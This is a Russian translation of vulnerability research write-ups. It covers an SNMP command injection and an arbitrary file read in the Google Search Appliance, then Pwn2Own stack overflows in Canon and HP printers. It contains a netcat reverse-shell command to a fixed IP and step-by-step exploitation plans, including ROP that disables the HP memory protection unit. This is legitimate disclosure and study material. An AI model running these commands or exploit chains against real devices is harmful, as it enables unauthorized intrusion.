Этот метод требует повреждения материнской платы и несет в себе определенный риск. Этот метод используется только в том случае, если на уровне программного обеспечения не обнаружено уязвимостей. Дополнительная информация: https://blog.cybercx.co.nz/bypassing-bios-password .

Используйте PCILeech для чтения и записи памяти, чтобы получить системные привилегии.

Для этого метода требуются специальные устройства PCI-e, которые в то время не были подготовлены. Вы можете обратиться к этому проекту GitHub:

https://github.com/ufrisk/pcileech

Ищите уязвимости программного обеспечения, которые могут получить доступ к сервису.

Этот метод проще и осуществимее.

НЧ-инъекция в консоли администратора

Зайдя в админку, мы заметили возможность получения системной информации по SNMP. Кроме того, эта функция позволяет вставлять собственные строки.:

Здесь мы попробовали классическую НЧ-инъекцию:

Введите sysContactLF и следующую команду:

extend shell /bin/nc -e /bin/sh 10.5.2.1 4444

После вставки значения конфигурации «extend» мы можем использовать команду «snmpwalk», чтобы активировать функцию расширения SNMP и выполнить оболочку.

Команда выполнена успешно и снова соединилась с оболочкой.

Произвольное чтение файлов

Из версий серии GSA 6.x мы обнаружили, что веб-службы 80/443 используют Apache httpd в установочном пакете RPM. Существует несколько конфигураций http, расположенных в /etc/httpd/conf.d/. В файлах gsa-http.conf и gsaa-https.conf определенные каталоги перенаправляются на определенные локальные службы.

  RewriteEngine on
  RewriteRule ^/security-manager/(.*) http://localhost:7886/security-manager/$1 [P,L]
  RewriteRule ^/d██████████/(.*) http://localhost:7890/dps/d██████████/$1 [P,L]
  RewriteRule ^/s██████/(.*) http://localhost:7890/dps/s██████/$1 [P,L]
  RewriteRule ^/v█████/(.*) http://localhost:7890/v█████/$1 [P,L]
  RewriteRule ^/$ http://localhost:7800/ [P,L]
  RewriteRule ^/(.*) http://localhost:7800/$1 [P,L]

Коммуникационные порты 7886 и 7890 — это службы, обслуживаемые отдельными серверами Apache Tomcat. При проксировании двух или более веб-серверов определение пути Tomcat, ..;/, является интересной контрольной точкой. Более подробную информацию вы можете найти в статье, написанной нашим сотрудником:

https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days- Выход-2.pdf

Нас интересует dps, которого, похоже, нет в старой версии GSA. Извлечение /WEB-INF/web.xml из dps.war позволяет нам проверить конфигурацию веб-приложения, и мы обнаружили, что конечная точка /font будет обрабатываться com.documill.dps.connector.servlet.user.DPSDownloadServlet

  <servlet>
    <servlet-name>font</servlet-name>
    <servlet-class>com.documill.dps.connector.servlet.user.DPSDownloadServlet</servlet-class>
    <init-param>
      <param-name>rootDirectory</param-name>
      <param-value>work/fonts/</param-value>
    </init-param>
  </servlet>

  <servlet-mapping>
    <servlet-name>font</servlet-name>
    <url-pattern>/font/*</url-pattern>
  </servlet-mapping>

И глядя на DPSDownloadServlet:

import com.davisor.net.servlet.DownloadServlet;
import com.documill.dps.*;
import java.io.*;
import javax.servlet.ServletContext;

public class DPSDownloadServlet extends DownloadServlet
    implements DPSUserService
{

    public DPSDownloadServlet()
    {
    }

    protected String getRealPath(ServletContext servletcontext, String s)
        throws IOException
    {
        DPS dps = DPSSingleton.getDPS();
        File file = dps.getHomeDir();
        if(file == null)
            throw new FileNotFoundException("DPSDownloadServlet:getRealPath:DPS home directory not specified");
        else
            return (new File(file, s)).getAbsolutePath();
    }

    private static final long serialVersionUID = 0L;
}

Шаг, в com.davisor.net.servlet.DownloadServletкоторый простирается DPSDownloadServlet:

    protected void service(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
        throws ServletException, IOException
    {
        String s = httpservletrequest.getParameter(uriParameterName);
        if(!isValid(s))
        {
            httpservletresponse.sendError(400, (new StringBuilder()).append("Invalid file path: ").append(s).toString());
            return;
        }
        File file = rootDirectory.deriveFile(s);
        if(!file.isFile())
            httpservletresponse.sendError(404, (new StringBuilder()).append("No file:").append(s).toString());
        else
        if(!file.canRead())
        {
            httpservletresponse.sendError(403, (new StringBuilder()).append("Unreadable file:").append(s).toString());
        } else
        {
            long l = file.length();
            if(l > 0x7fffffffL)
            {
                httpservletresponse.sendError(413, (new StringBuilder()).append("File too big:").append(l).toString());
            } else
            {
                String s1 = MIME.getTypeFromPath(file.getName(), "application/octet-stream");
                httpservletresponse.setContentLength((int)l);
                httpservletresponse.setContentType(s1);
                httpservletresponse.setDateHeader("Last-Modified", file.lastModified());
                if(cacheExpires > 0L)
                {
                    httpservletresponse.setDateHeader("Expires", System.currentTimeMillis() + cacheExpires);
                    httpservletresponse.setHeader("Cache-Control", "public");
                }
                IO.copy(file, httpservletresponse.getOutputStream());
            }
        }
    }
    private static boolean isValid(String s)
    {
        return !Strings.isEmpty(s) && !s.contains("..");
    }

Здесь вы можете видеть, что единственная проверка — содержит ли строка ... Однако мы можем напрямую указать абсолютный путь и напрямую прочитать любой локальный файл!

В старой версии GSA нет конечной точки /font, но /dps/admin/admin имеет аналогичную проблему с чтением файлов. Вы можете напрямую указать имя журнала для чтения файла. На схеме ниже показано непосредственное считывание пароля учетной записи из интерфейса управления системой:

После успешного взлома хэша вы можете войти в систему, включить службу SNMP и объединить ее с первой уязвимостью для выполнения произвольных команд с правами root.

Другие выводы и прочее

Внутренние URI в веб-сервисах

В GSA существует несколько подсервисов, которые взаимодействуют друг с другом по протоколу HTTP. Многие из этих служб предлагают такие URL-адреса, как /varz, /helpz и /procz. Мы можем получить к ним доступ либо в доверенном сетевом расположении, определенном для службы, либо с помощью 127.0.0.1:

В vGSA мы заметили, что существует параметр выполнения службы под названием «useripheader=X-User-Ip». Этот параметр обеспечивает прямой доступ к определенным функциям внешней консоли администратора, если он включен в заголовок запроса как «X-User- ИП».

Конечная /proczточка может даже получать исполняемые файлы и общие библиотеки, которые они используют:

Список техники

Название модели

Создатель

Характеристики

версия

Сумма документа

Гугл Мини

Гигабайт

Pentium III 1 ГБ/2 ГБ памяти/120 ГБ

3.4.14

300 000

Гугл Мини-002X

СуперМикро

Pentium 4 3G / 2 ГБ памяти / жесткий диск 250 ГБ

5.0.0

неизвестный

Гугл ГБ-1001

Делл Повередж 2950

Xeon / 16 ГБ памяти / жесткий диск 1,25 ТБ

неизвестный

3 000 000

Гугл ГБ-1002

Гигабайт

неизвестный

Гугл ГБ-7007

Делл Р710

Xeon E5520 / 48 ГБ памяти / жесткий диск 3 ТБ

неизвестный

10 000 000

Гугл ГБ-9009

Делл неизвестен

Xeon X5560 / 96 ГБ памяти / жесткий диск 3,6 ТБ

неизвестный

30 000 000

Гугл G100

Делл R720XD

неизвестный

Версия ядра Linux

версия GSA

Версия ядра Linux

7.6.0

Версия Linux 3.14.44_gsa-x64_1.5 ( mrevutskyi@mrevutskyi.mtv.corp.google.com ) (версия gcc 4.9.x-google 20150123 (предварительная версия) (Google_crosstoolv18-gcc-4.9.x-x86_64-grtev4-linux-gnu ) ) #1 SMP Пн, 23 ноября 09:19:11 PST 2015

7.4.0

7.2.0

Версия Linux 3.4.3_gsa-x64_1.5 ( martincochran@ypc-ubiq202.dls.corp.google.com ) (версия gcc 4.6.x-google 20120601 (предварительная версия) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1 -grte) ) #1 SMP Вт, 9 июля 15:36:01 PDT 2013

7.0.14

Версия Linux 3.4.3_gsa-x64_1.3 ( stephenamar@neutrino.mtv.corp.google.com ) (версия gcc 4.6.x-google 20120601 (предварительная версия) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte ) ) #1 SMP Четверг, 19 июля, 11:59:57 по тихоокеанскому времени 2012 г.

5.2.0

Версия Linux 2.6.20_vmw-smp_3.1 ( yifeng@yifeng.corp.google.com ) (версия gcc 4.1.1) # 1 SMP Четверг, 24 января 22:34:28 по тихоокеанскому стандартному времени 2008 г.

График

時間

事件

10.06.2005

Внедрение кода Java CVE-2005-3757 сообщил HD Moore

начало 2008 года

Выпущена ГСА 5.0

28.10.2008

vgsa_20081028.7z (5.2.0) выпущен

20 апреля 2013 г.

Выпущена GSA 6.14.0.G28

20 марта 2014 г.

Межсайтовый скриптинг CVE-2014-0362 сообщил Уилл Дорманн

01.10.2014

Выпущена версия GSA 7.0.14.G238.

2014/10/03

Выпущена версия GSA 7.2.0.G252.

12.12.2014

Выпущена версия GSA 7.2.0.G264.

07.02.2015

Выпущена GSA 7.2.0.G270

15.04.2015

Выпущена GSA 7.4.0.G64

22.04.2015

Выпущена GSA 7.4.0.G72

2015/04/30

Выпущена GSA 7.4.0.G74

04.06.2015

Выпущена GSA 7.4.0.G82

начало 2016 года

Google объявил, что GSA уйдет с рынка.

05.01.2016

Внедрение внешних сущностей XMLсообщил Тимо

24.05.2016

Выпущена GSA 7.6.0.G36

01.07.2016

Выпущена GSA 7.6.0.G42

2016/07/31

Автор статьи получил данное устройство версии 7.0.14.

25.08.2016

Выпущена GSA 7.6.0.G46

21.10.2016

Выпущена GSA 7.6.0.G58

19.01.2017

Выпущена GSA 7.6.50.G30

2017/04/19

Выпущена GSA 7.6.50.G36

28.07.2017

Выпущена GSA 7.6.50.G64

2017/11/09

Выпущена версия GSA 7.6.250.G12.

28.12.2017

Последняя дата заказа GSA.

17.01.2018

Выпущена версия GSA 7.6.250.G20.

21.03.2018

Выпущена версия GSA 7.6.250.G26.

15.06.2018

Выпущена версия GSA 7.6.360.G10.

2018/10/08

Выпущена версия GSA 7.6.360.G16.

26.04.2019

Выпущена GSA 7.6.512.G18. Это должна быть последняя публично выпущенная версия.

16.08.2021

сообщили о проблемах.

16.08.2021

ответил от бота и отсортирован.

16.08.2021

Issuetracker.google.com сообщил о проблеме.

18.08.2021

В Google заявили, что проблема не настолько серьезна, чтобы претендовать на вознаграждение, но комиссия VRP рассмотрит ее более внимательно.

20.08.2021

Комиссия VRP решила, что влияние этой проблемы на безопасность не соответствует планке финансового вознаграждения.

2021/11/01

Спросить, будет ли уязвимости присвоен идентификатор CVE.

2021/11/02

Подтверждение того, что идентификатор CVE не будет присвоен.

начало 2023 г.

Начал писать эту статью

04.06.2023

Первый черновой вариант завершен.

Заключение

Хотя GSA/vGSA — это продукт, который достиг конца своего жизненного цикла, изучение того, как Google повышает безопасность продукта и уменьшает векторы атак на устройства, может расширить наши знания, с которыми мы обычно не сталкиваемся. Хотя это не подробно описано в этой статье, Java Security Manager и seccomp ядра Linux являются технологиями, используемыми в GSA, и это исследование также оставило некоторые цели для дальнейшего изучения:

Служба фидергейта прослушивает порт 19900.
Уязвимости памяти в технологии Oracle Outside-in для преобразования форматов файлов.
Песочница Convert_to_html seccomp

Мы поделимся, когда появятся результаты исследований. Увидимся в следующий раз.

Другие справочные ссылки

Ваш принтер — не ваш принтер!

2023-11-01T12:17:31.819Z

Английская версия ,中文版本

За последние несколько лет принтер стал одним из важнейших устройств в корпоративной интрасети, и его функциональные возможности также значительно расширились. Для упрощения использования также поддерживаются не только печать или отправка факсов, но и службы облачной печати, такие как AirPrint. Прямая печать с мобильных устройств теперь является основным требованием в эпоху Интернета вещей. Мы также используем его для печати некоторых внутренних деловых документов компании, поэтому обеспечение безопасности принтера становится еще более важным.

В 2021 году мы обнаружили уязвимости RCE предварительной аутентификации ( CVE-2022-24673 и CVE-2022-3942 ) в принтерах Canon и HP, а также уязвимость ( CVE-2021-44734 ) в Lexmark. Мы использовали эти уязвимости для эксплуатации Canon ImageCLASS MF644Cdw, HP Color LaserJet Pro MFP M283fdw и Lexmark MC3224i в Pwn2Own Austin 2021 . Ниже мы опишем подробности уязвимостей и их эксплуатации Canon и HP.

Это исследование также представлено на выставках HITCON 2022 и CODE BLUE 2022 . Посмотреть слайды можно здесь.

Принтер

Раньше для подключения принтера к компьютеру часто требовался кабель IEEE1284 или USB-принтер. Нам также пришлось установить драйвер принтера, предоставленный производителем. В настоящее время большинству принтеров, представленных на рынке, не требуется USB или традиционный кабель. Пока принтер подключен к интрасети через кабель локальной сети, мы можем немедленно найти и использовать принтер.

Принтер также предоставляет не только печать, но и различные услуги, такие как FTP, AirPrint, Bonjour. Не что иное, как сделать печать более удобной.

Мотивация

Почему мы хотим исследовать принтеры?

Красная команда

При проведении оценки красной командой мы обнаружили, что принтеры обычно появляются в корпоративной интрасети. Их почти всегда больше одного, но их обычно упускают из виду и не обновляют. Это также отличная цель для красной команды, чтобы скрыть действие, поскольку ее часто трудно обнаружить. Стоит отметить, что более крупные предприятия также могут подключиться к AD и стать точкой входа для конфиденциальной информации.

Pwn2Own Остин 2021

Другая причина заключается в том, что принтеры стали одной из основных целей Pwn2Own Mobile. Мы также готовились снова принять участие в этапе Pwn2Own, поэтому решили начать с него.

Сначала мы думали, что они тривиальны. Как и большинство устройств Интернета вещей, здесь часто имеется множество уязвимостей, связанных с внедрением команд. Однако многие принтеры используют RTOS вместо систем Linux, что подтолкнуло нас к решимости бросить ей вызов.

В этой статье основное внимание будет уделено деталям Canon и HP.

Анализ

В начале мы прочитали много статей , во всех них нужно разобрать железо для анализа и получения консоли отладки. Затем методом дампа памяти получают оригинальную прошивку. Но в итоге мы выбрали другой путь и не сломали ни один принтер.

Канон

Извлечение прошивки

Первоначальная версия анализа — v6.03, вначале мы использовали binwalk для анализа, но прошивка запутана, и мы не можем проанализировать ее напрямую.

Запутанная прошивка Canon ImageCLASS MF644Cdw

Мы также попробовали «Сундук с сокровищами: PARTY QUEST: FROM DOOM TO EXPLOIT» от Synacktiv и «Взлом принтеров Canon Pixma – обреченное шифрование» от исследования Contextis. Но на этот раз это совсем другая серия, и мы не можем использовать тот же метод для деобфускации прошивки.

Итак, мы начали анализировать запутанный формат и содержимое прошивки.

Из запутанной прошивки мы видим, что начало — это Magic NCFW, за которым следует размер прошивки, а остальные части — это запутанные данные.

Вот мы и начали думать, что, возможно, старая прошивка этого принтера не обфусцирована до конкретной версии. Если мы сможем получить промежуточную версию, возможно, появится шанс получить метод деобфускации. Волшебный заголовок также позволяет нам определить, запутан ли он.

Мы можем получить URL-адрес загрузки прошивки через официальный сайт или пакет обновления.

https://pdisp01.c-wss.com/gdl/WWUFORedirectTarget.do?id=MDQwMDAwNDc1MjA1&cmp=Z01&lang=EN

После анализа его можно разделить на три части.

ＷМы можем приблизительно определить правила URL-адреса загрузки. Этим методом мы скачиваем все версии прошивок. Версии, которые мы загрузили на тот момент, включали:

В2.01
В4.02
В6.03
В9.03
В10.02

V10.02 — это версия, которая выйдет через несколько недель, и ее можно сначала загрузить отсюда. Скачав все версии, мы обнаружили, что прошивка этой серии обфусцирована, и деобфусцировать ее с предыдущей версии нет возможности.

Но мы можем попробовать скачать прошивку Canon другой серии и узнать, есть ли аналогичный алгоритм обфускации. После того, как вся прошивка скачана, общий размер файла составляет 130 ГБ. Мы можем найти незашифрованную прошивку, набрав NCFWи servicemode.html.

Наконец мы нашли четыре прошивки, соответствующие условиям. Для анализа мы выбрали принтеры серии WG7000 и обнаружили подозрительную функцию деобфускации.

К счастью, переписав эту функцию, прошивку MF644Cdw можно деобфускировать.

После извлечения прошивки нам понадобился базовый адрес образа, чтобы IDA могла эффективно идентифицировать строки и ссылаться на них. Сначала находим базу изображений через общий инструмент анализа rbasefind .

Первая база, которую мы нашли, была 0x40b0000. Но после декомпиляции с помощью IDA большая часть строки functionне соответствовала debug message.

Как показано на рисунке выше, loc_4489AC08должна указывать на строку имени функции, но этот адрес не является обычной строкой. Вместо этого он распознается как раздел кода, а содержимое не является строкой. Это указывает на то, что это местоположение не является фактическим адресом. Мы думали, что произошло небольшое смещение, но это не вызвало больших проблем при декомпиляции функций.

Как решить эту проблему? Мы сначала нашли объект function with a known function nameи function name stringвнесли в него необходимые коррективы. Найдя смещение, мы настроили базу изображения на правильный адрес. Последняя найденная база образа — 0x40affde0 . После настройки вы увидите, что исходное имя функции можно определить правильно.

Далее можно провести типовой анализ прошивки. После предварительного анализа можно узнать Canon ImageCLASS MF644Cdw:

ОС — DryOSV2

Индивидуальная ОСРВ от Canon

32-битный ARMv7 с прямым порядком байтов
Связано с кодом приложения в одно изображение.

Ядро
Услуга

HP

Прошивку HP относительно легко получить. Мы можем использовать binwalk -Z для получения правильной прошивки. Это заняло около 3-4 дней. Остальные шаги, такие как поиск базового адреса изображения, такие же, как у Canon. После предварительного анализа архитектура HP Color LaserJet Pro MFP M283fdw выглядит следующим образом:

Операционные системы

ОСРВ — модификация из ThreadX/Green Hills

ARM11 со смешанным порядком байтов

Код — прямой порядок байтов
Данные – обратный порядок байтов

Поверхность атаки

Многие службы включены по умолчанию в большинстве принтеров, представленных сегодня на рынке.

Услуга

Порт

Описание

РУИ

ПТС 80/443

веб интерфейс

ПДЛ

ПТС 9100

Язык описания страницы

ПИЖЛ

ПТС 9100

Язык задания принтера

ИПП

ПТС 631

Протокол Интернет-печати

ЛПД

ПТС 515

Протокол демона линейного принтера

SNMP

УДП 161

Простой протокол управления сетью

СЛП

ПТС 427

Протокол определения местоположения службы

mDNS

УДП 5353

Многоадресный DNS

ЛЛМНР

УДП 5355

Разрешение многоадресных имен Link-Local

…

Обычно для облегчения управления открывается RUI (веб-интерфейс). Порт 9100 также широко используется принтерами и в основном используется для передачи печатных данных.

Другие различаются у разных поставщиков, но перечисленные обычно присутствуют, и большинство из них включены по умолчанию. После оценки общей архитектуры мы сосредоточиваемся на обнаружении сервисов и серии сервисов DNS. Наш многолетний опыт часто показывает, что такие протоколы, реализованные производителями, часто подвержены уязвимостям. Основными сервисами, которые мы проанализировали, были SLP , mDNS и LLMNR .

Далее мы возьмем Pwn2Own Austin 2021 в качестве примера, чтобы увидеть, какие проблемы часто возникают у этих протоколов.

Взлом принтеров на Pwn2Own

Канон

Протокол определения местоположения службы

SLP — это протокол обнаружения служб, который позволяет компьютерам и другим устройствам находить службы в локальной сети. В прошлом в SLP EXSI было много уязвимостей . Canon реализует услугу SLP в основном самостоятельно. Подробную информацию об услуге SLP можно найти в RFC2608 .

Прежде чем мы рассмотрим детали SLP, нам нужно поговорить о структуре пакетов SLP.

Структура пакета SLP

Здесь нам нужно только обратить внимание на function-id. Это поле определяет тип запроса и формат полезной части. Canon реализует только запрос на обслуживание и запрос атрибута.

В запросе атрибута (AttrRqst) пользователь может получить список атрибутов в соответствии с услугой и областью действия. Мы можем указать область поиска, например принтеры Canon.

Пример:

Структура запроса атрибута выглядит следующим образом.

В основном он состоит из длины (Length) и значения (Value). При анализе такого формата следует быть осторожным, поскольку здесь часто встречаются ошибки. На самом деле, в Canon есть уязвимость при объединении этого формата.

Уязвимость

Когда он анализирует список областей, он преобразует escape-символы в ASCII. Например, \41будет преобразован в A. Но что плохого в этом простом преобразовании? Давайте посмотрим на псевдокод.

int parse_scope_list(...){
	char destbuf[36];
	unsigned int max = 34;
	parse_escape_char(...,destbuf,max);
}

Как показано в приведенном выше коде, в parse_scope_list, он передает буфер фиксированного размера destbufи максимальный размер 34 в parse_escape_char. Здесь нет уязвимости. Давайте посмотрим parse_escape_char.

int __fastcall parse_escape_char(unsigned __int8 **pdata, _WORD *pdatalen, unsigned __int8 *destbuf, _WORD *max)
{
  unsigned int idx; // r7
  int v7; // r9
  int v8; // r8
  int error; // r11
  unsigned __int8 *v10; // r5
  unsigned int i; // r6
  int v12; // r1
  int v13; // r0
  unsigned int v14; // r1
  bool v15; // cc
  int v16; // r2
  bool v17; // cc
  unsigned __int8 v18; // r0
  int v19; // r0
  unsigned __int8 v20; // r0
  unsigned int v21; // r0
  unsigned int v22; // r0

  idx = 0;
  v7 = 0;
  v8 = 0;
  error = 0;
  v10 = *pdata;
  for ( i = (unsigned __int16)*pdatalen; i && !v7; i = (unsigned __int16)(i - 1) )
  {
    v12 = *v10;
    if ( v12 == ',' )
    {
      if ( i < 2 )
        return -4;
      v7 = 1;
    }
    else
    {
      if ( v12 == '\\' ) //----------------------[1]
      {
        if ( i < 3 )
          return -4;
        v13 = v10[1];
        v14 = v13 - '0';
        v15 = v13 - (unsigned int)'0' > 9;
        if ( v13 - (unsigned int)'0' > 9 )
          v15 = v13 - (unsigned int)'A' > 5;
        if ( v15 && v13 - (unsigned int)'a' > 5 )
          return -4;
        v16 = v10[2];
        v17 = v16 - (unsigned int)'0' > 9;
        if ( v16 - (unsigned int)'0' > 9 )
          v17 = v16 - (unsigned int)'A' > 5;
        if ( v17 && v16 - (unsigned int)'a' > 5 )
          return -4;
        if ( v14 <= 9 )
          v18 = 0x10 * v14;
        else
          v18 = v13 - 0x37;
        if ( v14 > 9 )
          v18 *= 0x10;
        *destbuf = v18; //-------------------[2]
        v19 = v10[2];
        v10 += 2;
        v20 = (unsigned int)(v19 - 0x30) > 9 ? (v19 - 55) & 0xF | *destbuf : *destbuf | (v19 - 0x30) & 0xF;
        *destbuf = v20;
        LOWORD(i) = i - 2;
        if ( !strchr((int)"(),\\!<=>~;*+", *destbuf) )
        {
          v21 = *destbuf;
          if ( v21 > 0x1F && v21 != 0x7F )
            return -4;
        }
        goto LABEL_40;
      }
      if ( strchr((int)"(),\\!<=>~;*+", v12) ) //-----------------------[3]
        return -4;
      v22 = *v10;
      if ( v22 <= 0x1F || v22 == 0x7F )
        return -4;
      if ( v22 != ' ' )
      {
        v8 = 0;
        goto LABEL_35;
      }
      if ( !v8 )
      {
        v8 = 1;
LABEL_35:
        if ( (unsigned __int16)*max <= idx ) //----------------------[4] 
        {
          error = 1;
          goto next_one;
        }
        if ( v8 )
          LOBYTE(v22) = 32;
        *destbuf = v22;
LABEL_40:
        ++destbuf;
        idx = (unsigned __int16)(idx + 1);
      }
    }
next_one:
    ++v10;
  }
  if ( error )
  {
    *max = 0;
    debugprintff(3645, 4, "Scope longer than buffer provided");
LABEL_48:
    *pdata = v10;
    *pdatalen = i;
    return 0;
  }
  if ( idx )
  {
    *max = idx;
    goto LABEL_48;
  }
  return -4;
}

Как видите, [3]это случай, когда escape-символы не обрабатываются. Он проверяет, превышает ли длина максимальную длину [4]. Однако в случае [1]обработки escape-символов проверка длины не выполняется, и преобразованный результат напрямую копируется в целевой буфер [2].

Если задана длинная строка escape-символов, это приводит к переполнению стека.

После обнаружения уязвимости первым делом нужно посмотреть, какая у нее защита, чтобы определиться с планом эксплойта. Но после анализа мы обнаружили, что принтер Canon не имеет никакой защиты, связанной с памятью .

Защита

Нет защиты стека
Нет ДЭП
Нет АСЛР

Нет Stack Guard, нет DEP и нет ASLR, удобство для хакеров ! Как и в 90-е годы, просто переполнение стека может контролировать мир. Далее, как и в случае с прошлым методом эксплойта переполнения стека, нам просто нужно найти фиксированный адрес для хранения шеллкода, перезаписать обратный адрес и перейти к шеллкоду. В конце концов мы нашли сервис BJNP для хранения нашего шеллкода.

БДНП

BJNP также является протоколом обнаружения служб, разработанным Canon, и в прошлом существовало множество уязвимостей. Synacktiv также использовал Pixma MX925 через этот протокол. Для получения более подробной информации, пожалуйста, обратитесь сюда . BJNP сохраняет данные управляемого сеанса в глобальном буфере. Мы можем использовать эту функцию для размещения нашего шеллкода в фиксированном месте без строгих ограничений.

Этап эксплуатации

Используйте BJNP для хранения нашего шеллкода в глобальном буфере.
Переполнение стека триггера в SLP и перезапись адреса возврата
Вернуться в глобальный буфер

Pwn2Own Остин 2021

Обычно организатор Pwn2Own (ZDI) просит участников доказать, что мы достигли цели. Метод презентации здесь зависит от игроков. Изначально мы хотели напечатать логотип прямо на ЖК-экране, поскольку использовали принтер Lexmark.

Однако мы потратили много времени на то, чтобы разобраться, как распечатать изображение на экране, что было дольше, чем поиск уязвимостей и написание эксплойтов. В конце концов из-за нехватки времени был принят более безопасный подход: непосредственное изменение строки сервисного режима и вывод ее на экран.

На самом деле распечатать изображение на экране не так уж и сложно. Другие команды нашли методы . Желающие могут попробовать :)

Отлаживать

Некоторые люди могут задаться вопросом, как выполнять отладку в этой среде. Обычно существует несколько способов отладки:

Разберите принтер и получите консоль отладки.
Используйте старый эксплойт для установки индивидуального отладчика

Однако мы обновились до последней на тот момент версии. В этой версии нет известных уязвимостей, поэтому нам необходимо вернуться к более ранней версии. Демонтаж оборудования также требует дополнительных затрат времени и средств. Но у нас на тот момент уже была уязвимость, сносить железо или даунгрейдить было нерентабельно. Наконец, мы по-прежнему использовали самый традиционный метод отладки во сне.

После ROP или выполнения шеллкода распечатайте результат на веб-странице или в другом видимом месте, а затем вызовите режим сна. Мы можем прочитать результат с веб-страницы и, наконец, перезагрузить компьютер, чтобы повторить этот процесс.

Далее поговорим о принтерах HP.

HP

Разрешение многоадресных имен Link-Local

LLMNR очень похож на mDNS. Он обеспечивает разрешение базового имени по той же локальной ссылке. Но он проще, чем mDNS, и обычно также сотрудничает с некоторыми протоколами обнаружения служб. Вот краткое введение в этот механизм:

При разрешении доменного имени в локальной сети клиент A сначала будет использовать многоадресную рассылку, чтобы найти местоположение клиента C в локальной сети.

После получения клиентом C клиент C отправляет его обратно клиенту A, который реализует разрешение доменного имени локальной ссылки.

LLMNR в основном основан на формате DNS-пакета и имеет следующий формат:

Основной формат — это заголовок, за которым следуют запросы, а число представляет количество запросов разных типов.

Каждый DNS-запрос состоит из множества меток, и каждая метка будет содержать длину и строку, как показано на рисунке выше. Существует также механизм сжатия сообщений . Работа с ними очень подвержена уязвимостям. Подобные проблемы также упоминаются в докладе «Цена сложности: разные уязвимости при реализации одного и того же RFC» на конференции BlackHat 2021.

Уязвимость

Давайте посмотрим на реализацию HP:

int llmnr_process_query(...){
    char result[292];
    consume_labels(llmnr_packet->qname,result,...);
    ...
}

Здесь вы можете видеть, что когда HP обрабатывает пакеты LLMNR, она передает буфер фиксированного размера в Consumer_lables. consume_lablesиспользуется для обработки меток DNS, а фиксированный буфер используется для хранения результатов.

int __fastcall consume_labels(char *src, char *dst, llmnr_hdr *a3)
{
  int v3; // r5
  int v4; // r12
  unsigned int len; // r3
  int v6; // r4
  char v7; // r6
  bool v8; // cc
  int v9; // r0
  unsigned __int8 chr; // r6
  int result; // r0

  v3 = 0;
  v4 = 0;
  len = 0;
  v6 = 0;
  while ( 1 )
  {
    chr = src[v3]; //-------------[1]
    if ( !chr )
      break;
    if ( (int)len <= 0 )
    {
      v8 = chr <= 0xC0u;
      if ( chr == 0xC0 )
      {
        v9 = src[v3 + 1];
        v6 = 1;
        v3 = 0;
        src = (char *)a3 + v9;
      }
      else
      {
        len = src[v3++];
        v8 = v4 <= 0;
      }
      if ( !v8 )
        dst[v4++] = '.';
    }
    else
    {
      v7 = src[v3++];
      len = (char)(len - 1);
      dst[v4++] = v7; //----------[2]
    }
  }
  result = v3 + 1;
  dst[v4] = 0;
  if ( v6 )
    return 2;
  return result;
}

Мы видим, что [1]получим длину метки, а затем обработаем ее в соответствии с типом. [2]используется как случай длины. Здесь нет проверки длины, и метка записывается напрямую в буфер dst, что приводит к переполнению стека. На этом этапе мы подумали, что можем использовать его так же, как Canon. Однако, когда мы писали эксплойт, мы обнаружили, что принтеры HP имеют больше механизмов защиты.

Защита

Нет защиты стека
XN(ДЕП)
Модуль защиты памяти (MPU)
Нет АСЛР

В этом случае включаются механизмы защиты памяти XN и MPU, и данная уязвимость имеет больше ограничений. Мы можем переполнить только около 0x100 байт без нулевого байта , что значительно ограничивает нашу ROP и усложняет ее. Нам нужно найти другие уязвимости или методы для достижения нашей цели.

Через некоторое время мы начали думать о том, как принтеры HP реализуют XN(DEP) и MPU. Давайте рассмотрим HP RTOS:

Связано с кодом приложения в одно изображение.
Многие задачи выполняются

в том же виртуальном адресном пространстве
в режиме ядра

После рассмотрения мы подумали, а можно ли это обойти, разобравшись в MMU и MPU в HP RTOS?

MMU в HP M283fdw

HP M283fdw использует одноуровневую трансляцию таблицы страниц и каждую запись таблицы перевода для перевода раздела размером 1 МБ. Таблица трансляции расположена по адресу 0x4003c000 .

Каждая запись таблицы трансляции соответствует физическому адресу и правам раздела. ЦП определяет, может ли оно быть выполнено или изменено в соответствии с записью. Здесь рассматриваются разрешения AP, APX и XN. Мы также можем сопоставить любой физический адрес с помощью этой записи таблицы трансляции.

Как правило, мы можем изменить запись таблицы перевода через ROP, если у нас есть переполнение стека при высоких привилегиях. Но когда мы попытались писать напрямую в таблицу трансляции, принтер HP сломался.

Мы проверили и обнаружили, что основной причиной исключения ошибки памяти является то, что модуль защиты памяти (MPU) защищает таблицу трансляции.

МПУ в HP M283fdw

MPU позволяет разбивать память на регионы и устанавливать индивидуальные атрибуты защиты для каждого региона. Это совершенно другой механизм, чем MMU, и он часто встречается в устройствах Интернета вещей. HP включает MPU при загрузке и определяет разрешения для каждого региона, поэтому мы не можем манипулировать таблицей страниц.

После долгого обратного проектирования и обращения к руководству ARM мы обнаружили, что MPU можно отключить, очистив MPU_CTRL. Мы обнаружили, что это местоположение 0xE0400304, что немного отличается от спецификации ARM.

Эксплуатация

Поняв механизм MMU и MPU HP, мы можем легко использовать ROP для отключения MPU и успешного изменения записи таблицы трансляции. Мы можем произвольно изменять код любого сервиса и в итоге выбрали Line Printer Daemon(LPD) . Мы превратили его в бэкдор, прочитали больше полезных данных в указанное место и, наконец, выполнили шеллкод.

Но есть одна вещь, о которой необходимо упомянуть. После перезаписи записи таблицы перевода и кода LPD обязательно очистите TLB и сделайте недействительными I-cache и D-cache . В противном случае весьма вероятно, что он будет выполнен в старом варианте, что приведет к сбою эксплойта.

Очистить TLB

flush_tlb:
    mov r12, #0
    mcr p15, 0, r12, c8, c7, 0

Недействительный I-кэш

disable_icache:
    mrc p15, 0, r1, c1, c0, 0
    bic r1, r1, #(1 << 12)
    mcr p15, 0, r1, c1, c0, 0

Этап эксплуатации

Переполнение стека триггера в LLMNR и перезапись адреса возврата
Используйте ограниченную ROP для

отключить МПУ
изменить запись таблицы перевода и получить разрешение на выполнение чтения и записи
очистить TLB
изменить код LPD
аннулировать I-кэш и D-кэш

Используйте модифицированный LPD для чтения нашего шеллкода и перехода к шеллкоду.

Pwn2Own Остин 2021

